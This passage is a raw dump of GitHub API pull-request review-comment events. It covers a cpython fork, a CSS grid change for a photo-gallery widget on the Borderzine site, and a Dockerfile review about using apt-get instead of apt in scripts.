cpython/statuses/{sha}","languages_url":"https://api.github.com/repos/dimpase/cpython/languages","stargazers_url":"https://api.github.com/repos/dimpase/cpython/stargazers","contributors_url":"https://api.github.com/repos/dimpase/cpython/contributors","subscribers_url":"https://api.github.com/repos/dimpase/cpython/subscribers","subscription_url":"https://api.github.com/repos/dimpase/cpython/subscription","commits_url":"https://api.github.com/repos/dimpase/cpython/commits{/sha}","git_commits_url":"https://api.github.com/repos/dimpase/cpython/git/commits{/sha}","comments_url":"https://api.github.com/repos/dimpase/cpython/comments{/number}","issue_comment_url":"https://api.github.com/repos/dimpase/cpython/issues/comments{/number}","contents_url":"https://api.github.com/repos/dimpase/cpython/contents/{+path}","compare_url":"https://api.github.com/repos/dimpase/cpython/compare/{base}...{head}","merges_url":"https://api.github.com/repos/dimpase/cpython/merges","archive_url":"https://api.github.com/repos/dimpase/cpython/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/dimpase/cpython/downloads","issues_url":"https://api.github.com/repos/dimpase/cpython/issues{/number}","pulls_url":"https://api.github.com/repos/dimpase/cpython/pulls{/number}","milestones_url":"https://api.github.com/repos/dimpase/cpython/milestones{/number}","notifications_url":"https://api.github.com/repos/dimpase/cpython/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/dimpase/cpython/labels{/name}","releases_url":"https://api.github.com/repos/dimpase/cpython/releases{/id}","deployments_url":"https://api.github.com/repos/dimpase/cpython/deployments","created_at":"2019-02-25T11:57:09Z","updated_at":"2019-04-22T08:49:06Z","pushed_at":"2019-04-22T08:48:35Z","git_url":"git://github.com/dimpase/cpython.git","ssh_url":"git@github.com:dimpase/cpython.git","clone_url":"https://github.com/dimpase/cpython.git","svn_url":"https://github.com/dimpase/cpython","homepage":"https://www.python.org/","size":280364,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"python:master","ref":"master","sha":"929b70473829f04dedb8e802abcbd506926886e1","user":{"login":"python","id":1525981,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE1MjU5ODE=","avatar_url":"https://avatars3.githubusercontent.com/u/1525981?v=4","gravatar_id":"","url":"https://api.github.com/users/python","html_url":"https://github.com/python","followers_url":"https://api.github.com/users/python/followers","following_url":"https://api.github.com/users/python/following{/other_user}","gists_url":"https://api.github.com/users/python/gists{/gist_id}","starred_url":"https://api.github.com/users/python/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/python/subscriptions","organizations_url":"https://api.github.com/users/python/orgs","repos_url":"https://api.github.com/users/python/repos","events_url":"https://api.github.com/users/python/events{/privacy}","received_events_url":"https://api.github.com/users/python/received_events","type":"Organization","site_admin":false},"repo":{"id":81598961,"node_id":"MDEwOlJlcG9zaXRvcnk4MTU5ODk2MQ==","name":"cpython","full_name":"python/cpython","private":false,"owner":{"login":"python","id":1525981,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE1MjU5ODE=","avatar_url":"https://avatars3.githubusercontent.com/u/1525981?v=4","gravatar_id":"","url":"https://api.github.com/users/python","html_url":"https://github.com/python","followers_url":"https://api.github.com/users/python/followers","following_url":"https://api.github.com/users/python/following{/other_user}","gists_url":"https://api.github.com/users/python/gists{/gist_id}","starred_url":"https://api.github.com/users/python/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/python/subscriptions","organizations_url":"https://api.github.com/users/python/orgs","repos_url":"https://api.github.com/users/python/repos","events_url":"https://api.github.com/users/python/events{/privacy}","received_events_url":"https://api.github.com/users/python/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/python/cpython","description":"The Python programming language","fork":false,"url":"https://api.github.com/repos/python/cpython","forks_url":"https://api.github.com/repos/python/cpython/forks","keys_url":"https://api.github.com/repos/python/cpython/keys{/key_id}","collaborators_url":"https://api.github.com/repos/python/cpython/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/python/cpython/teams","hooks_url":"https://api.github.com/repos/python/cpython/hooks","issue_events_url":"https://api.github.com/repos/python/cpython/issues/events{/number}","events_url":"https://api.github.com/repos/python/cpython/events","assignees_url":"https://api.github.com/repos/python/cpython/assignees{/user}","branches_url":"https://api.github.com/repos/python/cpython/branches{/branch}","tags_url":"https://api.github.com/repos/python/cpython/tags","blobs_url":"https://api.github.com/repos/python/cpython/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/python/cpython/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/python/cpython/git/refs{/sha}","trees_url":"https://api.github.com/repos/python/cpython/git/trees{/sha}","statuses_url":"https://api.github.com/repos/python/cpython/statuses/{sha}","languages_url":"https://api.github.com/repos/python/cpython/languages","stargazers_url":"https://api.github.com/repos/python/cpython/stargazers","contributors_url":"https://api.github.com/repos/python/cpython/contributors","subscribers_url":"https://api.github.com/repos/python/cpython/subscribers","subscription_url":"https://api.github.com/repos/python/cpython/subscription","commits_url":"https://api.github.com/repos/python/cpython/commits{/sha}","git_commits_url":"https://api.github.com/repos/python/cpython/git/commits{/sha}","comments_url":"https://api.github.com/repos/python/cpython/comments{/number}","issue_comment_url":"https://api.github.com/repos/python/cpython/issues/comments{/number}","contents_url":"https://api.github.com/repos/python/cpython/contents/{+path}","compare_url":"https://api.github.com/repos/python/cpython/compare/{base}...{head}","merges_url":"https://api.github.com/repos/python/cpython/merges","archive_url":"https://api.github.com/repos/python/cpython/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/python/cpython/downloads","issues_url":"https://api.github.com/repos/python/cpython/issues{/number}","pulls_url":"https://api.github.com/repos/python/cpython/pulls{/number}","milestones_url":"https://api.github.com/repos/python/cpython/milestones{/number}","notifications_url":"https://api.github.com/repos/python/cpython/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/python/cpython/labels{/name}","releases_url":"https://api.github.com/repos/python/cpython/releases{/id}","deployments_url":"https://api.github.com/repos/python/cpython/deployments","created_at":"2017-02-10T19:23:51Z","updated_at":"2019-04-22T07:17:38Z","pushed_at":"2019-04-22T08:48:57Z","git_url":"git://github.com/python/cpython.git","ssh_url":"git@github.com:python/cpython.git","clone_url":"https://github.com/python/cpython.git","svn_url":"https://github.com/python/cpython","homepage":"https://www.python.org/","size":281545,"stargazers_count":23738,"watchers_count":23738,"language":"Python","has_issues":false,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":9538,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1021,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":9538,"open_issues":1021,"watchers":23738,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/python/cpython/pulls/12825"},"html":{"href":"https://github.com/python/cpython/pull/12825"},"issue":{"href":"https://api.github.com/repos/python/cpython/issues/12825"},"comments":{"href":"https://api.github.com/repos/python/cpython/issues/12825/comments"},"review_comments":{"href":"https://api.github.com/repos/python/cpython/pulls/12825/comments"},"review_comment":{"href":"https://api.github.com/repos/python/cpython/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/python/cpython/pulls/12825/commits"},"statuses":{"href":"https://api.github.com/repos/python/cpython/statuses/c056cd508104386d1b51fb4f794617ee97285304"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 81598961,
"name": "python/cpython",
"url": "https://api.github.com/repos/python/cpython"
}
|
{
"id": 1276956,
"login": "dimpase",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1276956?",
"url": "https://api.github.com/users/dimpase"
}
|
{
"id": 1525981,
"login": "python",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1525981?",
"url": "https://api.github.com/orgs/python"
}
| 2019-04-22T08:51:47 |
9485023962
|
{"actor":{"display_login":"dimpase"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/INN/umbrella-borderzine/pulls/comments/332517360","pull_request_review_id":298770391,"id":332517360,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMzMjUxNzM2MA==","diff_hunk":"@@ -10,4 +10,28 @@\n margin-right: 10px;\n }\n }\n+}\n+\n+.borderzine-6-col-widget {\n+ .widgettitle {\n+ display: inline-block;\n+ }\n+ p.morelink {\n+ margin-left: 10px;\n+ a {\n+ color: @white;\n+ }\n+ }\n+ ul {\n+ display: flex;\n+ justify-content: space-between;\n+ flex-wrap: wrap;\n+ li {\n+ max-width: 175px;\n+ img {\n+ width: 100%;\n+ height: 150px;","path":"wp-content/themes/borderzine/less/widgets.less","position":null,"original_position":24,"commit_id":"f766833d9593870549f624102f4c410abd663258","original_commit_id":"1d242dd040bf1c7046d5871787e5cd6da6a6c813","user":{"login":"joshdarby","id":18353636,"node_id":"MDQ6VXNlcjE4MzUzNjM2","avatar_url":"https://avatars1.githubusercontent.com/u/18353636?v=4","gravatar_id":"","url":"https://api.github.com/users/joshdarby","html_url":"https://github.com/joshdarby","followers_url":"https://api.github.com/users/joshdarby/followers","following_url":"https://api.github.com/users/joshdarby/following{/other_user}","gists_url":"https://api.github.com/users/joshdarby/gists{/gist_id}","starred_url":"https://api.github.com/users/joshdarby/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshdarby/subscriptions","organizations_url":"https://api.github.com/users/joshdarby/orgs","repos_url":"https://api.github.com/users/joshdarby/repos","events_url":"https://api.github.com/users/joshdarby/events{/privacy}","received_events_url":"https://api.github.com/users/joshdarby/received_events","type":"User","site_admin":false},"body":"@benlk https://github.com/INN/umbrella-borderzine/pull/75/commits/f766833d9593870549f624102f4c410abd663258 updates the css to use `display:grid;` instead of flex and `grid-template-columns: repeat(6, 1fr)` so they're in rows of 6.","created_at":"2019-10-08T13:41:05Z","updated_at":"2019-10-08T13:41:05Z","html_url":"https://github.com/INN/umbrella-borderzine/pull/75#discussion_r332517360","pull_request_url":"https://api.github.com/repos/INN/umbrella-borderzine/pulls/75","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/INN/umbrella-borderzine/pulls/comments/332517360"},"html":{"href":"https://github.com/INN/umbrella-borderzine/pull/75#discussion_r332517360"},"pull_request":{"href":"https://api.github.com/repos/INN/umbrella-borderzine/pulls/75"}},"in_reply_to_id":332286740},"pull_request":{"url":"https://api.github.com/repos/INN/umbrella-borderzine/pulls/75","id":325470211,"node_id":"MDExOlB1bGxSZXF1ZXN0MzI1NDcwMjEx","html_url":"https://github.com/INN/umbrella-borderzine/pull/75","diff_url":"https://github.com/INN/umbrella-borderzine/pull/75.diff","patch_url":"https://github.com/INN/umbrella-borderzine/pull/75.patch","issue_url":"https://api.github.com/repos/INN/umbrella-borderzine/issues/75","number":75,"state":"open","locked":false,"title":"Add 6 column grid widget for photo galleries section","user":{"login":"joshdarby","id":18353636,"node_id":"MDQ6VXNlcjE4MzUzNjM2","avatar_url":"https://avatars1.githubusercontent.com/u/18353636?v=4","gravatar_id":"","url":"https://api.github.com/users/joshdarby","html_url":"https://github.com/joshdarby","followers_url":"https://api.github.com/users/joshdarby/followers","following_url":"https://api.github.com/users/joshdarby/following{/other_user}","gists_url":"https://api.github.com/users/joshdarby/gists{/gist_id}","starred_url":"https://api.github.com/users/joshdarby/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshdarby/subscriptions","organizations_url":"https://api.github.com/users/joshdarby/orgs","repos_url":"https://api.github.com/users/joshdarby/repos","events_url":"https://api.github.com/users/joshdarby/events{/privacy}","received_events_url":"https://api.github.com/users/joshdarby/received_events","type":"User","site_admin":false},"body":"## Changes\r\n\r\nThis pull request makes the following changes:\r\n\r\n- Creates the `Borderzine_6_Col_Widget` widget (copied from Largo recent posts) to display posts in rows of 6 for the photo galleries section\r\n\r\n\r\n\r\n## Why\r\n\r\n<!-- Why does this PR propose these changes? Take as much space as you need to explain. -->\r\n<!-- If there are GitHub issues that this pull request addresses, please list them here. -->\r\nFor #36\r\n\r\n## Testing/Questions\r\n\r\nFeatures that this PR affects:\r\n\r\n- Special series template\r\n\r\n<!-- If there are no questions, please remove the questions section. -->\r\nQuestions that need to be answered before merging:\r\n\r\n- [x] Is this PR targeting the correct branch in this repository?\r\n\r\nSteps to test this PR:\r\n\r\n1. Add the `Borderzine 6 Column Widget` widget to the `Series Life on the Borderline: Footer` widget area\r\n - Title: `Photo Galleries`\r\n - Avoid Duplicate Posts\r\n - Large image\r\n - Excerpt display: none\r\n - Hide the publish date\r\n - Limit to category: Multimedia (?)\r\n2. View widget on frontend and verify that it looks ok\r\n\r\n## Additional information\r\n\r\nINN Member/Labs Client requesting: (if applicable)\r\n\r\n- [ ] Contributor has read INN's [GitHub code of conduct](https://github.com/INN/.github/blob/master/CODE_OF_CONDUCT.md)\r\n- [ ] Contributor would like to be mentioned in the release notes as: (fill in this blank)\r\n- [ ] Contributor agrees to the license terms of this repository.\r\n","created_at":"2019-10-07T20:03:12Z","updated_at":"2019-10-08T13:41:05Z","closed_at":null,"merged_at":null,"merge_commit_sha":"da00281fbb989d259bd40766aeaca124dc99cc06","assignee":{"login":"joshdarby","id":18353636,"node_id":"MDQ6VXNlcjE4MzUzNjM2","avatar_url":"https://avatars1.githubusercontent.com/u/18353636?v=4","gravatar_id":"","url":"https://api.github.com/users/joshdarby","html_url":"https://github.com/joshdarby","followers_url":"https://api.github.com/users/joshdarby/followers","following_url":"https://api.github.com/users/joshdarby/following{/other_user}","gists_url":"https://api.github.com/users/joshdarby/gists{/gist_id}","starred_url":"https://api.github.com/users/joshdarby/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshdarby/subscriptions","organizations_url":"https://api.github.com/users/joshdarby/orgs","repos_url":"https://api.github.com/users/joshdarby/repos","events_url":"https://api.github.com/users/joshdarby/events{/privacy}","received_events_url":"https://api.github.com/users/joshdarby/received_events","type":"User","site_admin":false},"assignees":[{"login":"joshdarby","id":18353636,"node_id":"MDQ6VXNlcjE4MzUzNjM2","avatar_url":"https://avatars1.githubusercontent.com/u/18353636?v=4","gravatar_id":"","url":"https://api.github.com/users/joshdarby","html_url":"https://github.com/joshdarby","followers_url":"https://api.github.com/users/joshdarby/followers","following_url":"https://api.github.com/users/joshdarby/following{/other_user}","gists_url":"https://api.github.com/users/joshdarby/gists{/gist_id}","starred_url":"https://api.github.com/users/joshdarby/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshdarby/subscriptions","organizations_url":"https://api.github.com/users/joshdarby/orgs","repos_url":"https://api.github.com/users/joshdarby/repos","events_url":"https://api.github.com/users/joshdarby/events{/privacy}","received_events_url":"https://api.github.com/users/joshdarby/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":1580023087,"node_id":"MDU6TGFiZWwxNTgwMDIzMDg3","url":"https://api.github.com/repos/INN/umbrella-borderzine/labels/Border%20Life","name":"Border Life","color":"eefca6","default":false},{"id":1545828614,"node_id":"MDU6TGFiZWwxNTQ1ODI4NjE0","url":"https://api.github.com/repos/INN/umbrella-borderzine/labels/Estimate:%20%3C%204","name":"Estimate: < 4","color":"16A085","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/INN/umbrella-borderzine/pulls/75/commits","review_comments_url":"https://api.github.com/repos/INN/umbrella-borderzine/pulls/75/comments","review_comment_url":"https://api.github.com/repos/INN/umbrella-borderzine/pulls/comments{/number}","comments_url":"https://api.github.com/repos/INN/umbrella-borderzine/issues/75/comments","statuses_url":"https://api.github.com/repos/INN/umbrella-borderzine/statuses/f766833d9593870549f624102f4c410abd663258","head":{"label":"INN:36-photo-galleries-section","ref":"36-photo-galleries-section","sha":"f766833d9593870549f624102f4c410abd663258","user":{"login":"INN","id":1553533,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE1NTM1MzM=","avatar_url":"https://avatars2.githubusercontent.com/u/1553533?v=4","gravatar_id":"","url":"https://api.github.com/users/INN","html_url":"https://github.com/INN","followers_url":"https://api.github.com/users/INN/followers","following_url":"https://api.github.com/users/INN/following{/other_user}","gists_url":"https://api.github.com/users/INN/gists{/gist_id}","starred_url":"https://api.github.com/users/INN/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/INN/subscriptions","organizations_url":"https://api.github.com/users/INN/orgs","repos_url":"https://api.github.com/users/INN/repos","events_url":"https://api.github.com/users/INN/events{/privacy}","received_events_url":"https://api.github.com/users/INN/received_events","type":"Organization","site_admin":false},"repo":{"id":203431896,"node_id":"MDEwOlJlcG9zaXRvcnkyMDM0MzE4OTY=","name":"umbrella-borderzine","full_name":"INN/umbrella-borderzine","private":false,"owner":{"login":"INN","id":1553533,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE1NTM1MzM=","avatar_url":"https://avatars2.githubusercontent.com/u/1553533?v=4","gravatar_id":"","url":"https://api.github.com/users/INN","html_url":"https://github.com/INN","followers_url":"https://api.github.com/users/INN/followers","following_url":"https://api.github.com/users/INN/following{/other_user}","gists_url":"https://api.github.com/users/INN/gists{/gist_id}","starred_url":"https://api.github.com/users/INN/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/INN/subscriptions","organizations_url":"https://api.github.com/users/INN/orgs","repos_url":"https://api.github.com/users/INN/repos","events_url":"https://api.github.com/users/INN/events{/privacy}","received_events_url":"https://api.github.com/users/INN/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/INN/umbrella-borderzine","description":"Umbrella repository for borderzine.com/","fork":false,"url":"https://api.github.com/repos/INN/umbrella-borderzine","forks_url":"https://api.github.com/repos/INN/umbrella-borderzine/forks","keys_url":"https://api.github.com/repos/INN/umbrella-borderzine/keys{/key_id}","collaborators_url":"https://api.github.com/repos/INN/umbrella-borderzine/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/INN/umbrella-borderzine/teams","hooks_url":"https://api.github.com/repos/INN/umbrella-borderzine/hooks","issue_events_url":"https://api.github.com/repos/INN/umbrella-borderzine/issues/events{/number}","events_url":"https://api.github.com/repos/INN/umbrella-borderzine/events","assignees_url":"https://api.github.com/repos/INN/umbrella-borderzine/assignees{/user}","branches_url":"https://api.github.com/repos/INN/umbrella-borderzine/branches{/branch}","tags_url":"https://api.github.com/repos/INN/umbrella-borderzine/tags","blobs_url":"https://api.github.com/repos/INN/umbrella-borderzine/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/INN/umbrella-borderzine/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/INN/umbrella-borderzine/git/refs{/sha}","trees_url":"https://api.github.com/repos/INN/umbrella-borderzine/git/trees{/sha}","statuses_url":"https://api.github.com/repos/INN/umbrella-borderzine/statuses/{sha}","languages_url":"https://api.github.com/repos/INN/umbrella-borderzine/languages","stargazers_url":"https://api.github.com/repos/INN/umbrella-borderzine/stargazers","contributors_url":"https://api.github.com/repos/INN/umbrella-borderzine/contributors","subscribers_url":"https://api.github.com/repos/INN/umbrella-borderzine/subscribers","subscription_url":"https://api.github.com/repos/INN/umbrella-borderzine/subscription","commits_url":"https://api.github.com/repos/INN/umbrella-borderzine/commits{/sha}","git_commits_url":"https://api.github.com/repos/INN/umbrella-borderzine/git/commits{/sha}","comments_url":"https://api.github.com/repos/INN/umbrella-borderzine/comments{/number}","issue_comment_url":"https://api.github.com/repos/INN/umbrella-borderzine/issues/comments{/number}","contents_url":"https://api.github.com/repos/INN/umbrella-borderzine/contents/{+path}","compare_url":"https://api.github.com/repos/INN/umbrella-borderzine/compare/{base}...{head}","merges_url":"https://api.github.com/repos/INN/umbrella-borderzine/merges","archive_url":"https://api.github.com/repos/INN/umbrella-borderzine/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/INN/umbrella-borderzine/downloads","issues_url":"https://api.github.com/repos/INN/umbrella-borderzine/issues{/number}","pulls_url":"https://api.github.com/repos/INN/umbrella-borderzine/pulls{/number}","milestones_url":"https://api.github.com/repos/INN/umbrella-borderzine/milestones{/number}","notifications_url":"https://api.github.com/repos/INN/umbrella-borderzine/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/INN/umbrella-borderzine/labels{/name}","releases_url":"https://api.github.com/repos/INN/umbrella-borderzine/releases{/id}","deployments_url":"https://api.github.com/repos/INN/umbrella-borderzine/deployments","created_at":"2019-08-20T18:25:44Z","updated_at":"2019-10-04T19:14:00Z","pushed_at":"2019-10-08T13:36:42Z","git_url":"git://github.com/INN/umbrella-borderzine.git","ssh_url":"git@github.com:INN/umbrella-borderzine.git","clone_url":"https://github.com/INN/umbrella-borderzine.git","svn_url":"https://github.com/INN/umbrella-borderzine","homepage":null,"size":236,"stargazers_count":0,"watchers_count":0,"language":"CSS","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":21,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":0,"open_issues":21,"watchers":0,"default_branch":"master"}},"base":{"label":"INN:master","ref":"master","sha":"d589c9b5a644f6c1b0c1983c036b886a71de7c1e","user":{"login":"INN","id":1553533,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE1NTM1MzM=","avatar_url":"https://avatars2.githubusercontent.com/u/1553533?v=4","gravatar_id":"","url":"https://api.github.com/users/INN","html_url":"https://github.com/INN","followers_url":"https://api.github.com/users/INN/followers","following_url":"https://api.github.com/users/INN/following{/other_user}","gists_url":"https://api.github.com/users/INN/gists{/gist_id}","starred_url":"https://api.github.com/users/INN/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/INN/subscriptions","organizations_url":"https://api.github.com/users/INN/orgs","repos_url":"https://api.github.com/users/INN/repos","events_url":"https://api.github.com/users/INN/events{/privacy}","received_events_url":"https://api.github.com/users/INN/received_events","type":"Organization","site_admin":false},"repo":{"id":203431896,"node_id":"MDEwOlJlcG9zaXRvcnkyMDM0MzE4OTY=","name":"umbrella-borderzine","full_name":"INN/umbrella-borderzine","private":false,"owner":{"login":"INN","id":1553533,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE1NTM1MzM=","avatar_url":"https://avatars2.githubusercontent.com/u/1553533?v=4","gravatar_id":"","url":"https://api.github.com/users/INN","html_url":"https://github.com/INN","followers_url":"https://api.github.com/users/INN/followers","following_url":"https://api.github.com/users/INN/following{/other_user}","gists_url":"https://api.github.com/users/INN/gists{/gist_id}","starred_url":"https://api.github.com/users/INN/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/INN/subscriptions","organizations_url":"https://api.github.com/users/INN/orgs","repos_url":"https://api.github.com/users/INN/repos","events_url":"https://api.github.com/users/INN/events{/privacy}","received_events_url":"https://api.github.com/users/INN/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/INN/umbrella-borderzine","description":"Umbrella repository for borderzine.com/","fork":false,"url":"https://api.github.com/repos/INN/umbrella-borderzine","forks_url":"https://api.github.com/repos/INN/umbrella-borderzine/forks","keys_url":"https://api.github.com/repos/INN/umbrella-borderzine/keys{/key_id}","collaborators_url":"https://api.github.com/repos/INN/umbrella-borderzine/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/INN/umbrella-borderzine/teams","hooks_url":"https://api.github.com/repos/INN/umbrella-borderzine/hooks","issue_events_url":"https://api.github.com/repos/INN/umbrella-borderzine/issues/events{/number}","events_url":"https://api.github.com/repos/INN/umbrella-borderzine/events","assignees_url":"https://api.github.com/repos/INN/umbrella-borderzine/assignees{/user}","branches_url":"https://api.github.com/repos/INN/umbrella-borderzine/branches{/branch}","tags_url":"https://api.github.com/repos/INN/umbrella-borderzine/tags","blobs_url":"https://api.github.com/repos/INN/umbrella-borderzine/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/INN/umbrella-borderzine/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/INN/umbrella-borderzine/git/refs{/sha}","trees_url":"https://api.github.com/repos/INN/umbrella-borderzine/git/trees{/sha}","statuses_url":"https://api.github.com/repos/INN/umbrella-borderzine/statuses/{sha}","languages_url":"https://api.github.com/repos/INN/umbrella-borderzine/languages","stargazers_url":"https://api.github.com/repos/INN/umbrella-borderzine/stargazers","contributors_url":"https://api.github.com/repos/INN/umbrella-borderzine/contributors","subscribers_url":"https://api.github.com/repos/INN/umbrella-borderzine/subscribers","subscription_url":"https://api.github.com/repos/INN/umbrella-borderzine/subscription","commits_url":"https://api.github.com/repos/INN/umbrella-borderzine/commits{/sha}","git_commits_url":"https://api.github.com/repos/INN/umbrella-borderzine/git/commits{/sha}","comments_url":"https://api.github.com/repos/INN/umbrella-borderzine/comments{/number}","issue_comment_url":"https://api.github.com/repos/INN/umbrella-borderzine/issues/comments{/number}","contents_url":"https://api.github.com/repos/INN/umbrella-borderzine/contents/{+path}","compare_url":"https://api.github.com/repos/INN/umbrella-borderzine/compare/{base}...{head}","merges_url":"https://api.github.com/repos/INN/umbrella-borderzine/merges","archive_url":"https://api.github.com/repos/INN/umbrella-borderzine/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/INN/umbrella-borderzine/downloads","issues_url":"https://api.github.com/repos/INN/umbrella-borderzine/issues{/number}","pulls_url":"https://api.github.com/repos/INN/umbrella-borderzine/pulls{/number}","milestones_url":"https://api.github.com/repos/INN/umbrella-borderzine/milestones{/number}","notifications_url":"https://api.github.com/repos/INN/umbrella-borderzine/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/INN/umbrella-borderzine/labels{/name}","releases_url":"https://api.github.com/repos/INN/umbrella-borderzine/releases{/id}","deployments_url":"https://api.github.com/repos/INN/umbrella-borderzine/deployments","created_at":"2019-08-20T18:25:44Z","updated_at":"2019-10-04T19:14:00Z","pushed_at":"2019-10-08T13:36:42Z","git_url":"git://github.com/INN/umbrella-borderzine.git","ssh_url":"git@github.com:INN/umbrella-borderzine.git","clone_url":"https://github.com/INN/umbrella-borderzine.git","svn_url":"https://github.com/INN/umbrella-borderzine","homepage":null,"size":236,"stargazers_count":0,"watchers_count":0,"language":"CSS","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":21,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":0,"open_issues":21,"watchers":0,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/INN/umbrella-borderzine/pulls/75"},"html":{"href":"https://github.com/INN/umbrella-borderzine/pull/75"},"issue":{"href":"https://api.github.com/repos/INN/umbrella-borderzine/issues/75"},"comments":{"href":"https://api.github.com/repos/INN/umbrella-borderzine/issues/75/comments"},"review_comments":{"href":"https://api.github.com/repos/INN/umbrella-borderzine/pulls/75/comments"},"review_comment":{"href":"https://api.github.com/repos/INN/umbrella-borderzine/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/INN/umbrella-borderzine/pulls/75/commits"},"statuses":{"href":"https://api.github.com/repos/INN/umbrella-borderzine/statuses/f766833d9593870549f624102f4c410abd663258"}},"author_association":"MEMBER"}}
|
{
"id": 203431896,
"name": "INN/umbrella-borderzine",
"url": "https://api.github.com/repos/INN/umbrella-borderzine"
}
|
{
"id": 18353636,
"login": "joshdarby",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/18353636?",
"url": "https://api.github.com/users/joshdarby"
}
|
{
"id": 1553533,
"login": "INN",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1553533?",
"url": "https://api.github.com/orgs/INN"
}
| 2019-10-08T13:41:05 |
10583417857
|
{"actor":{"display_login":"joshdarby"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/KhronosGroup/DockerContainers/pulls/comments/279959364","pull_request_review_id":232435378,"id":279959364,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI3OTk1OTM2NA==","diff_hunk":"@@ -18,8 +18,8 @@ from ruby:2.6\n label maintainer=\"Jon Leech <devrel@oddhack.org>\"\n \n # Install standard Debian packages\n-run apt update -qq\n-run apt install -y -qq \\\n+# TODO add --no-install-recommends\n+run apt-get update -qq && apt-get install -y -qq \\","path":"Dockerfile","position":7,"original_position":7,"commit_id":"bb86c1322a57c93cecbd23d90d39877b32ae8f51","original_commit_id":"bb86c1322a57c93cecbd23d90d39877b32ae8f51","user":{"login":"rpavlik","id":61129,"node_id":"MDQ6VXNlcjYxMTI5","avatar_url":"https://avatars0.githubusercontent.com/u/61129?v=4","gravatar_id":"","url":"https://api.github.com/users/rpavlik","html_url":"https://github.com/rpavlik","followers_url":"https://api.github.com/users/rpavlik/followers","following_url":"https://api.github.com/users/rpavlik/following{/other_user}","gists_url":"https://api.github.com/users/rpavlik/gists{/gist_id}","starred_url":"https://api.github.com/users/rpavlik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rpavlik/subscriptions","organizations_url":"https://api.github.com/users/rpavlik/orgs","repos_url":"https://api.github.com/users/rpavlik/repos","events_url":"https://api.github.com/users/rpavlik/events{/privacy}","received_events_url":"https://api.github.com/users/rpavlik/received_events","type":"User","site_admin":false},"body":"not for scripts - if you leave apt in there, it will curse at you saying that apt doesn't have a stable CLI 